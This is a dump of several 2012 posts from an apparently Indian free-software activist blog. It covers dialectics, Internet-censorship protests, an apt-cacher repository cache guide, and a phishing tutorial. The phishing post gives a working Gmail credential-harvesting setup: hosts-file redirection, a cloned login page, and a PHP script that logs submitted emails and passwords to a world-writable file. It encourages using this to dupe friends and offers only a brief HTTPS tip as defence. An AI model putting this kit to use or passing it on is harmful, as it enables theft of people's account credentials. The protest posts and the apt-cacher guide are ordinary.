through examples - maybe movies that refute or support a dialectic claim, maybe a story, a song, a novel. The study of the laws, merely as themselves, would be far more interesting if discussed and debated as a group. I cannot imagine reading Engel's or Hegel's several observations all by myself, and subsequently trying to implement them. I would give up before learning, and that would be such a pity.<br /><br /> While my interest in dialectics has been kindled, it has not established itself soundly enough for me to sense the presence of dialectics all around me, this is something that I am hoping will happen when we have more meetings, and I can't wait!<br /><br /></div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com2tag:blogger.com,1999:blog-3494039864884400347.post-65411133978483300942012-07-23T23:31:00.001+05:302012-07-24T07:56:26.971+05:30How to phish and not to get phished<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-M0EfqzoC-LE/UA2Pkzv_uBI/AAAAAAAACHA/dYE_bPOw8MY/s1600/Screenshot-38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_H_Kr55tXZg/UA2PVmaU_FI/AAAAAAAACG4/HtlxisKoqBI/s1600/Screenshot-37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
With the increase in commercial transactions online and a whole lot of information online, the need to secure it also increases because it is still people on the Internet and the sense of security and insecurity is innate to our interactions. <br />
<br />
Phishing (of course,read it as fishing :P) is one of the most treacherous menaces which could have really bad ramifications - loss of money, passwords and compromise of sensitive information.<br />
<br />
In this post, I show how the simplest phishing trick is performed (thanks to <a href="http://facebook.com/tvignesh.prabhu" target="_blank">Vignesh T Prabhu</a> for showing me this trick), so that avoiding it can also be made effective. This trick is an offline version, and it takes simple extra gyaan to put it online.<br />
<br />
Based on my experience with the audience I have been dealing with, I will touch upon some fundamentals like DNS, Apache Webserver, GNU/Linux directory structure and some bit of coding. <br />
<br />
<b>DNS Server:</b><br />
<br />
Domain Name System servers are lookup tables used to map URLs to IP addresses ( a more elaborate post about it <a href="http://fossphosis.blogspot.in/2011/07/dns-and-dns-flushing-in-ubuntu.html" target="_blank">here</a>).<br />
For our trick here, we will need only to know that the fist level of name resolution in a GNU/Linux machine happens in the file /etc/hosts. <br />
All GNU/Linux machines have first level DNS resolution here and standard entries might look like this :<br />
<br />
<div style="text-align: center;">
<a href="http://4.bp.blogspot.com/-_H_Kr55tXZg/UA2PVmaU_FI/AAAAAAAACG4/HtlxisKoqBI/s1600/Screenshot-37.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="142" src="http://4.bp.blogspot.com/-_H_Kr55tXZg/UA2PVmaU_FI/AAAAAAAACG4/HtlxisKoqBI/s400/Screenshot-37.png" width="400" /></a></div>
<br />
Because in Phsihing we purport to be a webpage we are not, I usually add use the localhost as the webserver.<br />
For instance, you could try ping google.com and it might yield a reply from a specific IP address as shown below<br />
<br />
<div style="text-align: center;">
<a href="http://2.bp.blogspot.com/-M0EfqzoC-LE/UA2Pkzv_uBI/AAAAAAAACHA/dYE_bPOw8MY/s1600/Screenshot-38.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="82" src="http://2.bp.blogspot.com/-M0EfqzoC-LE/UA2Pkzv_uBI/AAAAAAAACHA/dYE_bPOw8MY/s400/Screenshot-38.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
Here the name resolution is happening for google.com to 74.125.236.206<br />
I our case I will try to make the localhost as google.com, for example.<br />
Then add this entry in the /etc/hosts file<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo nano /etc/hosts (to edit the file)</span><br />
and append<span style="font-family: "Courier New",Courier,monospace;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-TEzDYL9ZIIQ/UA2P7APZ1TI/AAAAAAAACHI/MQpR3wsfWag/s1600/Screenshot-39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<span style="font-family: "Courier New",Courier,monospace;">google.com 127.0.0.1</span><br />
save it.<br />
where 127.0.0.1 is one of the loopback ethernet interfaces. <br />
<br />
Now try pinging google.com, and the reply looks like this<br />
<br />
<a href="http://4.bp.blogspot.com/-TEzDYL9ZIIQ/UA2P7APZ1TI/AAAAAAAACHI/MQpR3wsfWag/s1600/Screenshot-39.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" class="" height="117" src="http://4.bp.blogspot.com/-TEzDYL9ZIIQ/UA2P7APZ1TI/AAAAAAAACHI/MQpR3wsfWag/s400/Screenshot-39.png" width="400" /></a><br />
<br />
<br />
<b>Apache Webserver</b><br />
<br />
The awesomeness of running a GNU/Linux box is in the fact that you have a "server" with you - an almost full fledged server. For our hack here, we need to be running a webserver and who else but the master of all webservers Apache runs like a charm on any GNU/Linux distro. <br />
<br />
Install Apache (in debian based OS)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rVeH_Tp3uZ8/UA2QRUA0yEI/AAAAAAAACHQ/4LIfRRVgV2Y/s1600/Screenshot-40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo apt-get install apache2</span><br />
<br />
Once installed, check if the server is running - open a web browser and enter localhost, and the default page must be as shown below:<br />
<br />
<a href="http://3.bp.blogspot.com/-rVeH_Tp3uZ8/UA2QRUA0yEI/AAAAAAAACHQ/4LIfRRVgV2Y/s1600/Screenshot-40.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="http://3.bp.blogspot.com/-rVeH_Tp3uZ8/UA2QRUA0yEI/AAAAAAAACHQ/4LIfRRVgV2Y/s400/Screenshot-40.png" width="400" /></a><br />
Now, also try entering google.com in the browser and it should land on the same default webpage<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-NW8t6frHQbQ/UA2QvJJNtsI/AAAAAAAACHY/e8b9wy_onK8/s1600/Screenshot-41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="118" src="http://4.bp.blogspot.com/-NW8t6frHQbQ/UA2QvJJNtsI/AAAAAAAACHY/e8b9wy_onK8/s320/Screenshot-41.png" width="320" /></a></div>
<br />
Now, we're ready to phish. <br />
<br />
<b>HTML file:</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-IgCt_VFkn_Q/UA2Radf8i4I/AAAAAAAACHg/M7tgQciaVLo/s1600/Screenshot-42.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="58" src="http://4.bp.blogspot.com/-IgCt_VFkn_Q/UA2Radf8i4I/AAAAAAAACHg/M7tgQciaVLo/s400/Screenshot-42.png" width="400" /></a></div>
Log on to the google mail login page, and copy the source code (ctrl+u to view source code) of the file into a text document. <br />
<br />
Find the action field and replace the google authentication URL with "phishing.php" (a php script we will be using to phish)<br />
Save the html file as something relevant, for example login.hmtl<br />
<br />
PHP script: <br />
<br />
Here's a simple PHP script which will capture the login name and password on the phishing page and redirect to original authentication page. <b><span style="font-size: x-small;"></span></b><br />
<b><span style="font-size: x-small;"><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;"><html></span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
<body></span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
<?php</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
$handle=fopen("Password.txt","a");</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fwrite($handle,$_POST["Email id:"]);</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fwrite($handle,"\n");</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fwrite($handle,$_POST["Password:"]); </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fwrite($handle,"\n");</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fwrite($handle,"\n");</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
fclose($handle);</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
header("Location:https://www.google.com/accounts/ServiceLoginAuth");</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
exit;</span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
?></span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
</body></span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">
</html></span></span></b><br />
<br />
PHP script, save it as phishing.php<br />
<br />
Create an empty text document password.txt.<br />
<br />
Now, copy the three files login.html, phishing.php and password.txt to the default web server location /var/www<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo cp login.html phishing.php password.txt /var/www</span><br />
<br />
The password.txt file needs to have write permissions by the phoshing.php script - a easy and lazy way to do it is <br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">sudo chmod 777 /var/www/password.txt</span><br />
<br />
Now, you can dupe any of your friends for a prank and get them login to their google mail account and check the password.txt file to know their password, without them having a doubt of what has occurred.<br />
<br />
<b>The solution:</b><br />
<br />
HTTPS browsing is the safest means of web browsing, and a quick verification of certificates would reveal us the real identities of these webpages. <br />
<br />
For, the original google mail page will have an SSL certificate signed and verified, where as the phishing script won't. <br />
Use <a href="https://www.eff.org/https-everywhere/" target="_blank">https everywhere by EFF </a>to avoid most of the attempts :)<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-8cRIoWIMRCE/UA2SybasmpI/AAAAAAAACHw/7x18hf6vLwk/s1600/Screenshot-Gmail%253A+Email+from+Google+-+Google+Chrome.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="419" src="http://3.bp.blogspot.com/-8cRIoWIMRCE/UA2SybasmpI/AAAAAAAACHw/7x18hf6vLwk/s640/Screenshot-Gmail%253A+Email+from+Google+-+Google+Chrome.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Phishing page without secure connection and a warning</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-IJLMPJp-62c/UA2SxSm-3VI/AAAAAAAACHo/31UQnZDImuA/s1600/Screenshot-Gmail%253A+Email+from+Google+-+Google+Chrome-1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="425" src="http://1.bp.blogspot.com/-IJLMPJp-62c/UA2SxSm-3VI/AAAAAAAACHo/31UQnZDImuA/s640/Screenshot-Gmail%253A+Email+from+Google+-+Google+Chrome-1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Secure login page with SSL certification</td></tr>
</tbody></table>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-23137354777383610602012-06-10T06:27:00.003+05:302012-06-10T06:27:46.774+05:30FSMK protests against the attack of freedom in the Internet<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">
<!--
@page { margin: 0.79in }
P { margin-bottom: 0.08in }
-->
</style>
<br />
<div align="CENTER" style="margin-bottom: 0in;">
<br />
</div>
<div align="CENTER" style="margin-bottom: 0in;">
<b>FSMK protests against
the attack of freedom in the Internet</b></div>
<div align="CENTER" style="margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
Internet
Freedom is under sever attack from many quarters – the Ministry of
Information and Technology, various state governments, the police,
international lobbying and now certain major Internet Service
Providers (ISP's) such as Reliance Communications, Airtel and MTNL
have joined the league.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
After
trying to constrain the nature of opinion that could be put up on the
Internet in the form of the hasty IT Intermediaries Bill which faced
tremendous opposition, now major websites such as Vimeo for video
sharing, and various peer-to-peer file sharing or the Torrent sites
commonly used for exchange of large files between users are being
blocked by these ISP's, without any instructions issued by the
Government.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
We have
already seen the effect of the IT Rules in which a huge number of
requests are now being directed to intermediaries such as Google,
Facebook, etc for taking down statements critical of the Government
and political figures. Cases are being instituted by the Police under
the IT Act against circulating of cartoons, calling it a cyber crime.
All this shows that our constitutionally guaranteed freedoms in a
democratic framework are currently under attack.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
Equally
worrying is the tendency of courts to issue blanket orders -- called
John Doe orders – in the USA to protect the Intellectual Property
of certain media companies, which have been wholeheartedly endorsed
by corporations like Reliance Communications – an Internet Service
Provider acting in the interest of Reliance as a Media company to
block a large number of Torrent sites.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
Free
Software Movement Karnataka is a team of Internet activists and
technology enthusiasts coming from various walks of life. We
understand that without openly criticising the stands and actions of
the freedom curbing authorities today freedom in the Internet is at
stake,which consequentially would cripple the transparent functioning
of democracy.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
Join us
to understand details of the Internet censorship and shutting down of
websites issue; how it would impact you and the nation as a whole.
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="margin-bottom: 0in;">
<i><b>Internet is the voice
of people today, don't let them dumb us down!</b></i></div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<br />
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<i>We
have it in our power to begin the world over again. </i>
</div>
<div align="LEFT" style="font-weight: normal; margin-bottom: 0in;">
<i>Thomas
Paine </i>
</div>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com1tag:blogger.com,1999:blog-3494039864884400347.post-63740458248519054162012-06-04T12:40:00.000+05:302012-06-04T14:37:05.103+05:30June 9th Internet Freedom protest<div dir="ltr" style="text-align: left;" trbidi="on">
Attack on Internet freedom is going on in an unprecedented scale. Nothing less than a digital mutiny will be able to show the disgruntle we as users of the Internet are facing. <br />
<br />
Censorship of expression, shutting down of content sharing websites, and autonomous blocking of websites by ISPs have all been going on, taking us users for a ride. It is high time we all stand up for our rights in the internet, else this cancer will perpetuate stagnating the dynamic system that the internet has grown into. <br />
<br />
Various groups are associating to demonstrate their anguish by various means. Our methods might be different, our understanding varied but the objective is one - Securing freedom in the internet, for us users. <br />
<br />
FSMI, will also be joining in the campaign called on the 9th of June in the name of OpIndia. Here is what we have to say:<br />
<br />
<b><span style="font-family: "Courier New",Courier,monospace;">There is an attack on Internet Freedom from many quarters – the Ministry of IT, various state governments and the police and now certain major </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">Internet Service Providers (ISP's) such as Reliance and Airtel. Major sites such as Vimeo and various Torrent sites commonly used for exchange </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">of large files are being blocked by these ISP's, even though no instructions have been issued by the Government.</span><br style="font-family: "Courier New",Courier,monospace;" /><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google, </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">Act against circulating of cartoons, calling it a cyber crime. All this shows that our democratic freedoms guaranteed under the constitution are </span><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">currently under attack. Equally worrying is the tendency of courts to issue blanket orders – called John Doe orders -- to protect the Intellectual Property of certain media companies. Reliance, a ISP is acting in the interest of Reliance as a Media company to block a large number of Torrent sites.</span><br style="font-family: "Courier New",Courier,monospace;" /><br style="font-family: "Courier New",Courier,monospace;" /><span style="font-family: "Courier New",Courier,monospace;">To protest against such actions of the Government and the ISP's, FSMI calls for protests accross the country on the 9th of June 2012. FSMI also will co-ordinate with other organisations who have called for similar protests on 9th June.</span></b></div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-16809612483838216092012-04-22T21:28:00.000+05:302012-04-22T22:15:40.520+05:30World inside your head<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
The ability to create a world inside
your head at whim can be painful at times, and a real pleasure at
others. When you create the same world repeatedly, successively,
passionately you might feel slightly schizophrenic. A sharp
awareness of reality can be manna, at such times. </div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
Ever since I saw Anbe Sivam or to go
back further, read Che's Motorcycle Diaries, I have fancied
myself a communist. I've often tried to ignore the temptation to
dress up, have sub consciously been shabby at times because the
communist in my head wildly approves, of this idea so far from
communism, and yet so dear to the imagination. My first protest on
Saturday shall be memorable to me for one of two reasons, I am not
sure : Either it made the emotion in my stomach soar, at the idea of
being a real and physical voice for a few hours or it introduced me
to new facets of whimsical dreaming. (Smiles)</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
When I reached the Town Hall my
instinctive desire was to change, by some magical force, the location of
the
protest to the opposite side of the Town Hall, because I wanted to
watch the sun set behind the Hall while I was feeling incredible.
The statue of Kittur Rani Channamma on a horse with a machete in
her hand quickened my heart, though I walked soberly. 5 minutes
later, there I was holding a poster, looking sheepish, the expression
compounded by my fear of cameras and my guilt at not having
brought a poster of my own.
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The most comforting part of a
students' protest is the conviviality at the site of the protest in
spite of how seriously everyone takes the issue. You feel at ease
because the protesters can roughly be divided into two groups-people
who're there for the first time and therefore look as sheepish for
varying reasons and people who've been to a protest before and have
discarded their inhibitions so conclusively that their nonchalance
can cause you to chide yourself and become sensible.
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
I was quietly pleased by the effort
that had been made by most of those who turned up; their spontaneity,
their awareness of the issue, their willingness to speak on a public
platform, pose for the media in cardboard jails and scream out
slogans. I thoroughly approved when someone screamed, “It's fucking
wrong” into the mike because I realised that in that breach we had
all made the protest our own, in every way. That it was seeping
slowly, into the thickest skins.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
There are several faults with the
revision of rules proposed by the Indian government:
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The double standards- The creator of
content is always the victim while the complainant need not worry
about the consequences of his action.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The absurdity- Google argues against
censorship by giving this example : Censoring the word 'sex' on the
internet can cause erasure of all passport information!
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The legal consequences seem to be
oppressive and overdone as the impromptu skit, again keeping with the
mood of the atmosphere conveyed in a conversation between several
criminals in a jail cell. All of them ministers( Keeping with the
Anti corruption movement) except one, who played a pitiful blogger.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
The power that it gives a person to
dictate their opinions - Someone remarked that censoring the internet
was equivalent to censoring art, bringing to fore the analogy between
the M.F.Hussain issue and this one.</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
As the hours progressed, I was feeling
more strongly about the issue and appreciated the songs that several
people sang; hoarsely, slightly out of pitch but never lacking in
conviction. I tried to gauge the meaning of the Kannada songs,
laughed with everyone as someone sang sportively in Malayalam, a
language that no one there understood. I was losing my weakness of
feeling self-conscious in the middle of strangers and I was enjoying
it. The candles in the end added solemnity and as I walked back
home, under the eagles flying so high, I promised myself that I
would protest again, perhaps with more conviction. That it would mean
more, much more the next time. </div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<i>(Written by a new free software enthusiast, who participated in FSMK's protest against the Internet censorship debate.</i></div>
<div style="margin-bottom: 0cm;">
<i>The author has sought anonymity ) </i></div>
<div style="margin-bottom: 0cm;">
<br /></div>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-42896953819859803652012-01-03T21:22:00.000+05:302012-01-03T21:33:54.650+05:30How To Set up a repository cache with apt-cacher<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
-->
</style>
<br />
<i>By Pallavi Shastry</i> <br />
<br />
When running multiple machine with the same distribution, it is
sensible to set up a repository cache on your network so that once
a package is downloaded from an official repository, all other
machines will download it from your local area network.<br />
Having different machines running the same linux distribution, it
becomes interesting to set up a repository cache in your local
network. This way, you won't download common packages more than 1
time from official repositories.<br />
Here is the situation, we have one machine called
repository-cache, this machine is going to act as the repository
cache, basically, any other machines in your network is going to use
it as a repository.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-WvPGaH4sVbE/TwMbBZBiGqI/AAAAAAAACDU/ISpUmqM628s/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="http://4.bp.blogspot.com/-WvPGaH4sVbE/TwMbBZBiGqI/AAAAAAAACDU/ISpUmqM628s/s400/1.png" width="400" /></a></div>
<br />
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
H2 { margin-bottom: 0.21cm }
H2.ctl { font-family: "Lohit Hindi" }
-->
</style>
<br />
<h2 class="western">
<span style="font-size: small;"><b>1. Getting started : Server configuration</b></span></h2>
<h2 class="western" style="font-weight: normal;">
<span style="font-size: small;">As
usual, you need to install the required packages in the first place.
So type in a terminal:</span></h2>
<h2 class="western" style="font-weight: normal;">
</h2>
<div style="font-family: "Courier New",Courier,monospace;">
$sudo apt-get install apt-cacher apache2</div>
<div style="font-family: "Courier New",Courier,monospace;">
<br /></div>
<div style="font-weight: normal;">
To start the service of the apache web server. </div>
<div style="font-weight: normal;">
<span style="font-family: "Courier New",Courier,monospace;"> </span><span style="font-family: "Courier New",Courier,monospace;">$sudo /etc/init.d/apache2 start</span><b><br /></b></div>
<div style="font-weight: normal;">
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
A:link { so-language: zxx }
-->
</style>
</div>
<div style="font-weight: normal;">
Then test by going to
<a href="http://server/apt-cacher">http://</a><a href="http://server/apt-cacher">repository-cache:3142</a><a href="http://server/apt-cacher">/apt-cacher</a>
to verify that it's running. </div>
<div style="font-weight: normal;">
<i>repository-cache in the URL above is the host name or IP of the cache server in the LAN. </i> </div>
<div style="font-weight: normal;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-3PX6jrqF_Wo/TwMgD-Ynk2I/AAAAAAAACDg/8irDg-yYnm8/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://1.bp.blogspot.com/-3PX6jrqF_Wo/TwMgD-Ynk2I/AAAAAAAACDg/8irDg-yYnm8/s640/3.png" width="600" /></a></div>
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
H2 { margin-bottom: 0.21cm }
H2.ctl { font-family: "Lohit Hindi" }
-->
</style>
<br />
<h2 class="western" style="font-weight: normal;">
<span style="font-size: small;">Once
this is done, it is time to get into the configuration files in
/etc/apt-cacher/apt-cacher.conf</span></h2>
<div style="font-family: "Courier New",Courier,monospace; margin-bottom: 0cm;">
<span style="font-size: small;">$sudo gedit
/etc/apt-cacher/apt-cacher.conf</span></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">The
default port apt-cacher is running on is port <b>3142</b>. </span>
</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><u>Allowed_hosts</u>:
by default, all host are allowed to use the repository cache. You can
change this value if you want to only allow certain host.</span></div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="font-size: small;"><u><span style="font-weight: normal;">Generate_reports</span></u></span><span style="font-size: small;"><span style="font-weight: normal;">:
This directive makes </span></span><b><span style="font-size: small;">apt-cacher</span></b><span style="font-size: small;"><span style="font-weight: normal;">
create a report on how efficient your cache was on a daily basis.
Default is 1, if you want to disable this, set it to 0.</span></span><b>apt-cacher</b>
will generate report on the usage of the cache every day.</div>
<div style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<u><span style="font-size: small;"><span style="font-weight: normal;">Clean
cache: </span></span></u><span style="font-size: small;"><span style="text-decoration: none;"><span style="font-weight: normal;">
This directive makes </span></span></span><span style="font-size: small;"><span style="text-decoration: none;"><b>apt-cacher</b></span></span><span style="font-size: small;"><span style="text-decoration: none;"><span style="font-weight: normal;">
clean the cache every 24 hours . So reset it , clean cache =0</span></span></span></div>
<br />
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
H3 { margin-bottom: 0.21cm }
H3.ctl { font-family: "Lohit Hindi" }
PRE.cjk { font-family: "DejaVu Sans", monospace }
-->
</style>
<br />
<h3 class="western" style="font-weight: normal;">
<b><span style="font-size: small;"><i>2. </i><i>Activating
apt-cacher to start</i></span></b></h3>
In order to start, <b>apt-cacher</b> needs to be
activated from /etc/default/apt-cacher. So open
/etc/default/apt-cacher and set AUTOSTART to 1:<br />
<pre class="western" style="margin-bottom: 0.5cm;">AUTOSTART=1</pre>
Now restart <b>apt-cacher</b>:<br />
<b>$sudo /etc/init.d/apt-cacher restart </b>
<br />
Now that apt-cacher runs, it is time to update all our clients
<b>/etc/apt/sources.list</b> files so every host on the
network will use our repository-cache machine.<br />
<br />
<style type="text/css">
<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
H2 { margin-bottom: 0.21cm }
H2.ctl { font-family: "Lohit Hindi" }
-->
</style>
<br />
<h2 class="western" style="font-weight: normal;">
<b><i><span style="font-size: small;">3. Importing existing
package from /var/cache/apt/archives/ to apt-cacher repository</span></i></b></h2>
<b><i><span style="font-size: small;">
</span></i></b>It might happen that your server already has got a whole lot of
packages cached in its local repository: /var/cache/apt/archives/.
<b> </b><br />
<b>apt-cacher</b> offers a tool to import those files to
<b>apt-cacher</b> repository logically without in fact replicating copies of these packages.<br />
There are whole lot of cool and useful scripts that can be found in
/usr/share/apt-cacher/<br />
The one we are interested in here is
<i>apt-cacher-import.pl</i> which is handy to import deb files from
/var/cache/apt/archives to apt-cacher repository run:<br />
<br />
<div style="font-family: "Courier New",Courier,monospace;">
$sudo /usr/share/apt-cacher/apt-cacher-import.pl -s
/var/cache/apt/archives
</div>
<span style="font-family: "Courier New",Courier,monospace;">
</span><br />
<br />
<b>5. Setting up the Clients sources.list</b><br />
<br />
Now it is time to set up the client hosts apt source list files: <i>/etc/apt/sources.list</i><br />
It make sense to use the repository cache on the server too, as that way, any updates made by the server will fill up the cache.<br />
<br />
In each line , ie every instance of the sources.list file, if for example there is an entry<br />
<br />
deb http://archive.ubuntu.com/ubuntu/ main restricted<br />
<br />
becomes<br />
<br />
deb http://repository-server:3142/apt-cacher/archive.ubuntu.com/ubuntu/ main restricted<br />
<br />
Cool, now, every host should be able to retrieve the .deb packages from our repository cache once has been ran on every host.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">$ sudo apt-get update</span><br />
<br />
Then test report by going to http://repository-cache:3142/reports to verify that it's running. The report is generated once a day, but if you need it at a certain time, you can force it by running:<br />
<br />
<div style="font-family: "Courier New",Courier,monospace;">
$sudo /usr/share/apt-cacher/apt-cacher-report.pl</div>
<br />
<br />
<b>6. Conclusion</b><br />
<br />
apt-cacher is an easy and efficient package which will save you both time and bandwidth when using multiple machines with the same distribution like it could happen in a home network or at a company.<br />
<style type="text/css">
